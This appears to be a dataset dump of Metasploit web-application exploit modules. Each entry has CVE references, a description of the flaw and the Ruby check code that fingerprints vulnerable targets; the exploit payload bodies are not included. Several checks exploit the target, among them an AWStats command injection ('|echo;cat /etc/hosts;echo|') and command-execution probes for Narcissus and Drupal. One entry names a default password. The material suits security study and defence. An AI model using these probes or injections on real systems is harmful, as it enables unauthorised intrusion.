deardaniel/secdata-raw huggingface dataset:
Metasploit Module: ZPanel 10.0.0.2 htpasswd Module Username Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/zpanel_username_exec.rb
Platform: unix
Disclosure date: 2013-06-07
References: CVE-2013-10053, OSVDB-94038, URL-https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906, URL-http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2

Description:
This module exploits a vulnerability found in ZPanel's htpasswd module. When
          creating .htaccess using the htpasswd module, the username field can be used to
          inject system commands, which is passed on to a system() function for executing
          the system's htpasswd command.

          Please note: In order to use this module, you must have a valid account to login
          to ZPanel.  An account part of any of the default groups should suffice, such as:
          Administrators, Resellers, or Users (Clients).  By default, there's already a
          'zadmin' user, but the password is randomly generated.

Check method (fingerprinting):
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /This server is running: ZPanel/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: ClipBucket Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/clipbucket_upload_exec.rb
Platform: php
Disclosure date: 2013-10-04
References: CVE-2013-10040

Description:
This module exploits a vulnerability found in ClipBucket version 2.6 and lower.
          The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to
          upload arbitrary code without any authentication. This module has been tested
          on version 2.6 on CentOS 5.9 32-bit.

Check method (fingerprinting):
# Check version
    peer = "#{rhost}:#{rport}"

    vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "")
    })

    if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version #{version} detected")

    if version > "2.6"
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    else
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Joomla 1.5.12 TinyBrowser File Upload Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/joomla_tinybrowser.rb
Platform: php
Disclosure date: 2009-07-22
References: CVE-2011-4908, OSVDB-64578, EDB-9296, URL-http://developer.joomla.org/security/news/[PII_REDACTED]2-core-file-upload.html

Description:
This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
          This plugin is not secured in version 1.5.12 of joomla and allows the upload
          of files on the remote server.
          By renaming the uploaded file this vulnerability can be used to upload/execute
          code on the affected system.

Check method (fingerprinting):
uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php')
    uri << '?type=file&folder='
    res = send_request_raw(
      {
        'uri' => uri
      }, 25
    )

    if (res and res.body =~ /flexupload.swf/)
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Open Flash Chart v2 Arbitrary File Upload
Type: exploit
Path: modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
Platform: php
Disclosure date: 2009-12-14
References: BID-37314, CVE-2009-4140, OSVDB-59051, EDB-10532

Description:
This module exploits a file upload vulnerability found in Open Flash
          Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file
          in order to upload and execute malicious PHP files.

Check method (fingerprinting):
print_status("Sending check")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "ofc_upload_image.php"),
    })
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code.to_i == 404
      vprint_error("No ofc_upload_image.php found")
    elsif res and res.code == 200 and res.body =~ /Saving your image to/
      vprint_status("Found ofc_upload_image.php")
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress WP EasyCart Unrestricted File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb
Platform: php
Disclosure date: 2015-01-08
References: CVE-2014-9308, OSVDB-116806

Description:
WordPress Shopping Cart (WP EasyCart) Plugin for
          WordPress contains a flaw that allows a remote
          attacker to execute arbitrary PHP code. This
          flaw exists because the
          /inc/amfphp/administration/banneruploaderscript.php
          script does not properly verify or sanitize
          user-uploaded files. By uploading a .php file,
          the remote system will place the file in a
          user-accessible path. Making a direct request to
          the uploaded file will allow the attacker to
          execute the script with the privileges of the web
          server.

          In versions <= 3.0.8 authentication can be done by
          using the WordPress credentials of a user with any
          role. In later versions, a valid EasyCart admin
          password will be required that is in use by any
          admin user. A default installation of EasyCart will
          setup a user called "demouser" with a preset password
          of "demouser".
Metasploit Module: Narcissus Image Configuration Passthru Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/narcissus_backend_exec.rb
Platform: %w{linux unix}
Disclosure date: 2012-11-14
References: CVE-2012-10033, EDB-22709, OSVDB-87410

Description:
This module exploits a vulnerability found in Narcissus image configuration
          function.  This is due to the backend.php file not handling the $release parameter
          properly, and then passes it on to the configure_image() function.  In this
          function, the $release parameter can be used to inject system commands for
          passthru (a PHP function that's meant to be used to run a bash script by the
          vulnerable application), which allows remote code execution under the context
          of the web server.

Check method (fingerprinting):
sig = rand_text_alpha(rand(10) + 5) # The string to check

    vprint_status("Looking for signature '#{sig}'...")
    res = remote_exe("echo #{sig}")

    if res and res.body =~ /#{sig}/
      vprint_status("Signature '#{sig}' found.")
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      vprint_status("Signature not found")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: TWiki MAKETEXT Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/twiki_maketext.rb
Disclosure date: 2012-12-15
References: CVE-2012-6329, OSVDB-88460, BID-56950, URL-http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329

Description:
This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
          specially crafted MAKETEXT, a malicious user can execute shell commands since user
          input is passed to the Perl "eval" command without first being sanitized. The
          problem is caused by an underlying security issue in the CPAN:Locale::Maketext
          module. This works in TWiki sites that have user interface localization enabled
          (UserInterfaceInternationalisation variable set).

          If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
          if the 'TwikiPage' option isn't provided, the module will try to create a random
          page on the SandBox space.  The module has been tested successfully on
          TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.

          Affected versions:
          - TWiki-5.1.0 <= TWiki-5.1.2
          - TWiki-5.0.x
          - TWiki-4.3.x
          - TWiki-4.2.x
          - TWiki-4.1.x
          - TWiki-4.0.x

Check method (fingerprinting):
@base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    res = send_request_cgi({
      'uri' => "#{@base}do/view/TWiki/WebHome"
    })

    if not res or res.code != 200
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
      version = $1
      vprint_status("Version found: #{version}")
      if version < "5.1.3"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      else
        return Exploit::CheckCode::Detected("Detected version #{version}")
      end
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: AWStats configdir Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/awstats_configdir_exec.rb
Platform: unix
Disclosure date: 2005-01-15
References: CVE-2005-0116, OSVDB-13002, BID-12298, URL-http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities

Description:
This module exploits an arbitrary command execution vulnerability in the
          AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
          are vulnerable.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
      {
        'configdir' => '|echo;cat /etc/hosts;echo|'
      }
    }, 25)

    if (res and res.body.match(/localhost/))
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: blueimp's jQuery (Arbitrary) File Upload
Type: exploit
Path: modules/exploits/unix/webapp/jquery_file_upload.rb
Platform: php
Disclosure date: 2018-10-09
References: CVE-2018-9206, URL-http://www.vapidlabs.com/advisory.php?v=204, URL-https://github.com/blueimp/jQuery-File-Upload/pull/3514, URL-https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206, URL-https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/, URL-https://github.com/rapid7/metasploit-framework/pull/5130, URL-https://httpd.apache.org/docs/current/mod/core.html#allowoverride
Targets: PHP Dropper, Linux Dropper

Description:
This module exploits an arbitrary file upload in the sample PHP upload
          handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.

          Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
          file may be disabled, enabling exploitation of this vulnerability.

          This vulnerability has been exploited in the wild since at least 2015
          and was publicly disclosed to the vendor in 2018. It has been present
          since the .htaccess change in Apache 2.3.9.

          This module provides a generic exploit against the jQuery widget.

Check method (fingerprinting):
a = nil

    version_paths.each do |u|
      vprint_status("Checking #{u}")

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => u
      )

      next unless res

      unless a
        res.headers['Server'] =~ %r{Apache/([\d.]+)} &&
          ::Regexp.last_match(1) && (a = Rex::Version.new(::Regexp.last_match(1)))

        if a && a >= Rex::Version.new('2.3.9')
          vprint_good("Found Apache #{a} (AllowOverride None may be set)")
        elsif a
          vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
        end
      end

      next unless res.code == 200 && (j = res.get_json_document) &&
                  j['version'] && (v = Rex::Version.new(j['version']))

      if v <= Rex::Version.new('9.22.0')
        vprint_good("Found unpatched jQuery File Upload #{v}")
        return CheckCode::Appears('The target appears to be vulnerable')
      else
        vprint_error("Found patched jQuery File Upload #{v}")
        return CheckCode::Safe('The target is not vulnerable')
      end
    end

    CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: WordPress WP-Property PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_property_upload_exec.rb
Platform: php
Disclosure date: 2012-03-26
References: CVE-2012-10027, OSVDB-82656, BID-53787, EDB-18987, URL-http://web.archive.org/web/[PII_REDACTED]5650/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html

Description:
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
          plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
          temp directory without authentication, which results in arbitrary code execution.

Check method (fingerprinting):
uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri
    )

    return Exploit::CheckCode::Unknown('Could not determine the target status') if res.nil? || res.code != 200

    Exploit::CheckCode::Detected('The target service was detected')
  end
Metasploit Module: phpCollab 2.5.1 Unauthenticated File Upload
Type: exploit
Path: modules/exploits/unix/webapp/phpcollab_upload_exec.rb
Platform: php
Disclosure date: 2017-09-29
References: CVE-2017-6090, EDB-42934, URL-http://www.phpcollab.com/, URL-https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/

Description:
This module exploits a file upload vulnerability in phpCollab 2.5.1
          which could be abused to allow unauthenticated users to execute arbitrary code
          under the context of the web server user.

          The exploit has been tested on Ubuntu 16.04.3 64-bit

Check method (fingerprinting):
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )

    version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
    vprint_status("Found version: #{version}")

    unless version
      vprint_status('Unable to get the PhpCollab version.')
      return CheckCode::Unknown('Could not determine the target status')
    end

    if Rex::Version.new(version) >= Rex::Version.new('0')
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
Platform: php
Disclosure date: 2013-09-16
References: CVE-2013-10044, OSVDB-97482, EDB-28329

Description:
This module exploits a vulnerability found in OpenEMR version 4.1.1 Patch 14 and lower.
          When logging in as any non-admin user, it's possible to retrieve the admin SHA1 password
          hash from the database through SQL injection. The SQL injection vulnerability exists
          in the "new_comprehensive_save.php" page. This hash can be used to log in as the admin
          user. After logging in, the "manage_site_files.php" page will be used to upload arbitrary
          code.

Check method (fingerprinting):
# Check version
    print_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "interface", "login", "login.php")
    })

    if res and res.code == 200 and res.body =~ /v(\d+.\d+.\d+)/
      version = $1
    else
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version #{version} detected")

    if version < "4.1.2"
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    else
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end
  end
Metasploit Module: VICIdial Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/vicidial_agent_authenticated_rce.rb
Platform: %w[unix linux
Disclosure date: 2024-09-10
References: CVE-2024-8504, URL-https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt
Targets: Unix/Linux Command Shell

Description:
An attacker with authenticated access to VICIdial as an "agent"
          can execute arbitrary shell commands as the "root" user. This
          attack can be chained with CVE-2024-8503 to execute arbitrary
          shell commands starting from an unauthenticated perspective.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
      'method' => 'GET'
    })

    return CheckCode::Unknown('Could not determine the target status') unless res&.code == 200

    html_doc = res.get_html_document

    version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
                   res.body.split("\n").find { |line| line.include?('VERSION:') }

    return CheckCode::Unknown('Could not determine the target status') unless version_info

    extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')

    return CheckCode::Unknown('Could not determine the target status') if extracted_version.empty?

    print_status("VICIdial version: #{extracted_version}")

    vulnerable_version = Rex::Version.new('2.14-917a')
    current_version = Rex::Version.new(extracted_version)

    return current_version <= vulnerable_version ? CheckCode::Vulnerable("Detected vulnerable version #{current_version}") : CheckCode::Safe("Version #{current_version} is not vulnerable")
  end
Metasploit Module: Drupal Drupalgeddon 2 Forms API Property Injection
Type: exploit
Path: modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
Platform: php
Disclosure date: 2018-03-28
References: CVE-2018-7600, URL-https://www.drupal.org/sa-core-2018-002, URL-https://greysec.net/showthread.php?tid=2912, URL-https://research.checkpoint.com/uncovering-drupalgeddon-2/, URL-https://github.com/a2u/CVE-2018-7600, URL-https://github.com/nixawk/labs/issues/19, URL-https://github.com/FireFart/CVE-2018-7600
Targets: Automatic (PHP In-Memory), Automatic (PHP Dropper), Automatic (Unix In-Memory), Automatic (Linux Dropper), Drupal 7.x (PHP In-Memory), Drupal 7.x (PHP Dropper), Drupal 7.x (Unix In-Memory), Drupal 7.x (Linux Dropper), Drupal 8.x (PHP In-Memory), Drupal 8.x (PHP Dropper)

Description:
This module exploits a Drupal property injection in the Forms API.

          Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.

Check method (fingerprinting):
checkcode = CheckCode::Unknown('Could not determine the target status')

    @version = target['Version'] || drupal_version

    unless @version
      vprint_error('Could not determine Drupal version to target')
      return checkcode
    end

    vprint_status("Drupal #{@version} targeted at #{full_uri}")
    checkcode = CheckCode::Detected("Detected version #{@version}")

    changelog = drupal_changelog(@version)

    unless changelog
      vprint_error('Could not determine Drupal patch level')
      return checkcode
    end

    case drupal_patch(changelog, 'SA-CORE-2018-002')
    when nil
      vprint_warning('CHANGELOG.txt no longer contains patch level')
    when true
      vprint_warning('Drupal appears patched in CHANGELOG.txt')
      checkcode = CheckCode::Safe("Version #{@version} is not vulnerable")
    when false
      vprint_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears("Version #{@version} appears to be vulnerable")
    end

    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
    token = rand_str
    res = execute_command(token, func: 'printf')

    return checkcode unless res

    if res.body.start_with?(token)
      vprint_good('Drupal is vulnerable to code execution')
      checkcode = CheckCode::Vulnerable("Detected vulnerable version #{@version}")
    end

    checkcode
  end
Metasploit Module: Wordpress Front-end Editor File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb
Platform: php
Disclosure date: 2012-07-04
References: CVE-2012-10019, OSVDB-83637, URL-http://web.archive.org/web/[PII_REDACTED]3305/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html

Description:
The WordPress Front-end Editor plugin contains an authenticated file upload
          vulnerability. An attacker can upload arbitrary files to the upload folder because
          the plugin uses its own file upload mechanism instead of the WordPress API, which
          incorrectly allows uploads of any file type.

Check method (fingerprinting):
check_plugin_version_from_readme('front-end-editor', '2.3')
  end
Metasploit Module: ZoneMinder Language Settings Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/zoneminder_lang_exec.rb
Platform: php
Disclosure date: 2022-04-27
References: CVE-2022-29806, URL-https://krastanoel.com/cve/2022-29806

Description:
This module exploits arbitrary file write in debug log file option
          chained with a path traversal in language settings that leads to a
          remote code execution in ZoneMinder surveillance software versions
          before 1.36.13 and before 1.37.11

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'GET'
    )
    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    if res.body =~ /ZoneMinder/
      csrf_magic = get_csrf_magic(res)
      res = authenticate(csrf_magic) if res.body =~ /ZoneMinder Login/
      return Exploit::CheckCode::Safe('Authentication failed') if res.body =~ %r{<title>ZM - Login</title>}

      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/index.php'),
        'method' => 'GET',
        'keep_cookies' => true
      )
    else
      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
    end

    res.body.match(/v(1.\d+.\d+)/)
    version = Regexp.last_match(1)
    unless version
      return Exploit::CheckCode::Safe('Unable to determine ZoneMinder version')
    end

    version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("Version Detected: #{version}") if version <= Rex::Version.new('1.37.10')

    Exploit::CheckCode::Safe("Version Detected: #{version}")
  rescue ::Rex::ConnectionError
    return Exploit::CheckCode::Unknown('Could not connect to the web service')
  end
Metasploit Module: Wordpress Ajax Load More PHP Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_ajax_load_more_file_upload.rb
Platform: php
Disclosure date: 2015-10-10
References: CVE-2015-10140

Description:
This module exploits an arbitrary file upload in the WordPress Ajax Load More
          version 2.8.1.1. It allows to upload arbitrary php files and get remote code
          execution. This module has been tested successfully on WordPress Ajax Load More
          2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.

Check method (fingerprinting):
check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')
  end